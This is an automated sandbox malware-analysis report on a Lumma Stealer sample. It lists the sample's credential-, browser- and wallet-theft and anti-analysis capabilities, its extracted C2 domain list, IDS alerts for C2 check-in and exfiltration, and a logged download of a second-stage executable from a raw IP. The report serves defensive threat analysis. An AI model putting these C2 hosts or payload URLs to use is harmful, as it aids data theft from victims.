Edit tour

Windows Analysis Report
2RxMkSAgZ8.exe

Overview

General Information

Sample name:	2RxMkSAgZ8.exe renamed because original name is a hash value
Original sample name:	9206302f53ca9294d3a4bd17c0ef0adc.exe
Analysis ID:	1582705
MD5:	9206302f53ca9294d3a4bd17c0ef0adc
SHA1:	e125a2562999902128af0de27eec951c71a0c309
SHA256:	be48cb6e3ff7f142a419c4b227fbf9bbe2c6074a58e23ad453380854f749e33e
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

2RxMkSAgZ8.exe (PID: 7292 cmdline: "C:\Users\user\Desktop\2RxMkSAgZ8.exe" MD5: 9206302F53CA9294D3A4BD17C0EF0ADC)

chrome.exe (PID: 7944 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2RxMkSAgZ8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 8168 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1916,i,16584393808517630229,663544007946421581,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5144 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2RxMkSAgZ8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7700 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1916,i,8609925068922302053,18242554948102769659,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["nearycrepso.shop", "fancywaxxers.shop", "abruptyopsn.shop", "wholersorie.shop", "tirepublicerj.shop", "rabidcowse.shop", "framekgirus.shop", "cloudewahsj.shop", "noisycuttej.shop"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1458239399.00000000008E6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
00000000.00000003.1457853778.00000000008EA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
00000000.00000003.1452466442.00000000008E6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
00000000.00000003.1447007025.00000000008E7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 2RxMkSAgZ8.exe PID: 7292	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 2RxMkSAgZ8.exe PID: 7292	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 2RxMkSAgZ8.exe PID: 7292	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 2RxMkSAgZ8.exe PID: 7292	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 3 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:50:47.335953+0100	2028371	3	Unknown Traffic	192.168.2.7	49710	104.21.64.1	443	TCP
2024-12-31T09:50:48.307141+0100	2028371	3	Unknown Traffic	192.168.2.7	49721	104.21.64.1	443	TCP
2024-12-31T09:50:49.733362+0100	2028371	3	Unknown Traffic	192.168.2.7	49732	104.21.64.1	443	TCP
2024-12-31T09:50:51.035053+0100	2028371	3	Unknown Traffic	192.168.2.7	49738	104.21.64.1	443	TCP
2024-12-31T09:50:52.678743+0100	2028371	3	Unknown Traffic	192.168.2.7	49749	104.21.64.1	443	TCP
2024-12-31T09:50:54.074584+0100	2028371	3	Unknown Traffic	192.168.2.7	49760	104.21.64.1	443	TCP
2024-12-31T09:50:55.945728+0100	2028371	3	Unknown Traffic	192.168.2.7	49771	104.21.64.1	443	TCP
2024-12-31T09:50:59.510142+0100	2028371	3	Unknown Traffic	192.168.2.7	49797	104.21.64.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:50:47.824140+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49710	104.21.64.1	443	TCP
2024-12-31T09:50:48.796291+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49721	104.21.64.1	443	TCP
2024-12-31T09:50:59.944658+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49797	104.21.64.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:50:47.824140+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49710	104.21.64.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:50:48.796291+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49721	104.21.64.1	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:50:47.335953+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.7	49710	104.21.64.1	443	TCP
2024-12-31T09:50:48.307141+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.7	49721	104.21.64.1	443	TCP
2024-12-31T09:50:49.733362+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.7	49732	104.21.64.1	443	TCP
2024-12-31T09:50:51.035053+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.7	49738	104.21.64.1	443	TCP
2024-12-31T09:50:52.678743+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.7	49749	104.21.64.1	443	TCP
2024-12-31T09:50:54.074584+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.7	49760	104.21.64.1	443	TCP
2024-12-31T09:50:55.945728+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.7	49771	104.21.64.1	443	TCP
2024-12-31T09:50:59.510142+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.7	49797	104.21.64.1	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:51:00.655255+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49804	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fancywaxxers .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:50:46.820404+0100	2058656	1	Domain Observed Used for C2 Detected	192.168.2.7	53548	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:50:50.417267+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49732	104.21.64.1	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 2RxMkSAgZ8.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://fancywaxxers.shop/apia	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/apis	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop:443/api	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/apieR	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/api9	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/&&A	Avira URL Cloud: Label: malware

Found malware configuration

Source: 2RxMkSAgZ8.exe.7292.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["nearycrepso.shop", "fancywaxxers.shop", "abruptyopsn.shop", "wholersorie.shop", "tirepublicerj.shop", "rabidcowse.shop", "framekgirus.shop", "cloudewahsj.shop", "noisycuttej.shop"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: 2RxMkSAgZ8.exe	ReversingLabs: Detection: 60%
Source: 2RxMkSAgZ8.exe	Virustotal: Detection: 51%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: 2RxMkSAgZ8.exe

Joe Sandbox ML: detected

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=2RxMkSAgZ8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=2RxMkSAgZ8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=2RxMkSAgZ8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=2RxMkSAgZ8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: 2RxMkSAgZ8.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:49797 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 2RxMkSAgZ8.exe, 00000000.00000002.1705710628.0000000005FD2000.00000040.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058656 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fancywaxxers .shop) : 192.168.2.7:53548 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.7:49710 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.7:49732 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.7:49721 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.7:49738 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.7:49749 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.7:49760 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.7:49771 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.7:49797 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49710 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49710 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49732 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49721 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49721 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49797 -> 104.21.64.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: nearycrepso.shop
Source: Malware configuration extractor	URLs: fancywaxxers.shop
Source: Malware configuration extractor	URLs: abruptyopsn.shop
Source: Malware configuration extractor	URLs: wholersorie.shop
Source: Malware configuration extractor	URLs: tirepublicerj.shop
Source: Malware configuration extractor	URLs: rabidcowse.shop
Source: Malware configuration extractor	URLs: framekgirus.shop
Source: Malware configuration extractor	URLs: cloudewahsj.shop
Source: Malware configuration extractor	URLs: noisycuttej.shop

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 31 Dec 2024 08:50:59 GMTContent-Type: application/octet-streamContent-Length: 2880000Last-Modified: Tue, 31 Dec 2024 08:35:23 GMTConnection: keep-aliveETag: "6773accb-2bf200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2c 00 00 04 00 00 9e 9c 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 67 6d 62 68 6d 79 73 00 80 2b 00 00 a0 00 00 00 64 2b 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 74 79 75 78 75 74 77 00 20 00 00 00 20 2c 00 00 04 00 00 00 cc 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2c 00 00 22 00 00 00 d0 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 13.107.246.44 13.107.246.44
Source: Joe Sandbox View	IP Address: 104.21.64.1 104.21.64.1

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49710 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49732 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49721 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49738 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49749 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49760 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49771 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49797 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49804 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Range: bytes=179328-179328If-Range: 0x8DCEC757C1AD1D1
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_95.6.dr, chromecache_116.6.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_95.6.dr, chromecache_116.6.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
